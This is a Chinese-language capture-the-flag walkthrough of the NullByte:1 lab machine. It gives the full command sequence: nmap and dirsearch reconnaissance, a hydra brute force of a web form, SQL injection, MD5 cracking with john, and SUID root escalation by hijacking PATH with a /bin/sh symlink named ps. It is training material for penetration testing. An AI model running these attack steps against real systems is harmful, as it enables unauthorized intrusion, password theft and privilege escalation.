信息收集部分,寻找同网段存活的IP地址。
fping -asg 192.168.24.0/24 2>/dev/null
使用Nmap扫描IP开放的端口以及版本号
nmap -sV -p- --min-rate=10000 192.168.24.132
首先查看80端口http服务
只有一张图片,我们可以先使用dirsearch目录探测工具来寻找可能存在漏洞的页面。
dirsearch -u “http://192.168.24.132”
与此同时,可以把首页的图片下载下来查看是否存在隐写的信息。
wget http://192.168.24.132/main.gif #下载命令
file main.gif #kali中file命令查看文件格式
exiftool main.gif #读写和处理图像中的元数据
strings main.gif #打印文件中可打印的字符串
查看到Comment中有一条 kzMb5nVYJw奇怪的字符串,之后可以查看一下dirsearch也探测到的两个URL,一个是phpmyadmin页面,另一个是upload,但是没有可以搜寻到的信息,mysql或许是一个入侵手段,但是比较麻烦耗时,所以继续寻找其他的入口。
在挣扎许久之后发现kzMb5nVYJw这个诡异的字符串居然是一个页面
F12查看源代码之后给我们提示
<!-- this form isn't connected to mysql, password ain't that complex -->
“这个表单没有连接到mysql,密码没有那么复杂”
也就是说可以进行暴力破解或者弱口令的尝试,可以使用hydra工具来进行一个暴力破解。
hydra 192.168.24.132 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l KKK -P /usr/share//wordlists/rockyou.txt
http-form-post
^PASS^是变量 所以需要使用^^包裹,因为是只有一个post传参的表单,用户名可以随意指定。
登陆成功后发现还是一个可以提交参数的表单
输入is之后发现存在回显,其他则是Fetched data successfully
很像存在SQL注入,可以尝试判断一下闭合符号,令查询报错
知道闭合符号为”之后我们既可以开始进行SQL注入
判断列数为3 使用联合查询 union select 可以进行手工注入或者sqlmap跑都可以
sqlmap得到
ramses
看起来像base64加密过
echo “YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE” | base64 -d
得到c6d6bd7ebf806f43c76acc3681703b81,md5值,放入在线网站解密一下
omega
如果实验环境不联网的情况下应采用以下思路,首先使用hash-indentfier判断该hash值的类型
hash-identifier c6d6bd7ebf806f43c76acc3681703b81
然后将该值放入hash_md5中,紧接着使用john工具来尝试暴力破解
echo "c6d6bd7ebf806f43c76acc3681703b81" > hash_md5
john --format-raw-md5 -wordlist=/usr/share/wordlists/rockyou.txt hash_md5
破解成功 最终得到了账号 ramses 密码 omega,尝试登录端口为777的ssh服务
可以进行一下敏感数据收集,因为刚刚进行的时候提交表单都是该文件在处理信息,所以有理由怀疑该文件是一个敏感文件,存在与数据库交互的敏感信息,查找到了对应的数据库账号和密码。可以从SQL注入中拿到ssh的账号密码,然后连接进行获取系统初始权限,也可以通过SQL注入写webshell的形式来拿shell。
提权
进行查看/home/ramses中的文件的时候查看到了一个名为.bash_history的文件,内容中进入到了/var/www/backup/路径中运行了一个名为procwatch的文件,发现是一个红色底色的文件。
有s权限
s,表示set UID或set GID。位于user或group权限组的第三位置。如果在user权限组中设置了s位,则当文件被执行时,该文件是以文件所有者UID而不是用户UID 执行程序。如果在group权限组中设置了s位,当文件被执行时,该文件是以文件所有者GID而不是用户GID执行程序。(也就是说应该是以root权限来运行的该文件,suid提权)
s权限位是一个敏感的权限位,容易造成系统的安全问题。请在设置时小心,并注意系统中已有的SUID或SGID文件和目录,所以可以尝试利用该文件进行提权
请注意,该文件由root用户所有,并且具有粘性位权限集,它在某种程度上使用了“ps”命令。
二进制文件只是从系统中调用“ps”作为参数。知道了这一点,我们应该能够通过修改NullByte:1框上的$PATH环境变量来轻松利用这一点。让我们将/bin/sh重命名为ps,并将PATH指向它。
cd /var/www/backup
ln -s /bin/sh ps #将/bin/sh 硬链接 ps
export PATH=.:$PATH #将目前所处在的路径导入进系统的环境变量之中